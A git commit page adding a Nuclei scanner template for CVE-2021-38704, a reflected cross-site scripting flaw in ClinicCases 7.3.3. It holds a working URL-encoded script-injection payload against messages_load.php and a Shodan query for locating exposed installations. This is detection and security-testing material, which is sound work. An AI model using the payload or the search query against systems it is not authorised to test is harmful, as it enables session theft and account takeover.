Merge pull request #3053 from projectdiscovery/CVE-2021-38704

Create CVE-2021-38704.yaml
patch-1
Sandeep Singh 2021-11-03 01:51:12 +05:30 committed by GitHub
commit 5ff78ad1c1
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 34 additions and 0 deletions

View File

@ -0,0 +1,34 @@
id: CVE-2021-38704
info:
name: ClinicCases 7.3.3 Reflected Cross-Site Scripting (XSS)
author: alph4byt3
severity: medium
description: Multiple reflected cross-site scripting (XSS) vulnerabilities in ClinicCases 7.3.3 allow unauthenticated attackers to introduce arbitrary JavaScript by crafting a malicious URL. This can result in account takeover via session token theft.
reference:
- https://github.com/sudonoodle/CVE-2021-38704
- https://nvd.nist.gov/vuln/detail/CVE-2021-38704
metadata:
shodan-query: http.title:"ClinicCases",html:"/cliniccases/"
tags: xss,cve,cve2021,cliniccases
requests:
- method: GET
path:
- '{{BaseURL}}/cliniccases/lib/php/data/messages_load.php?type=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200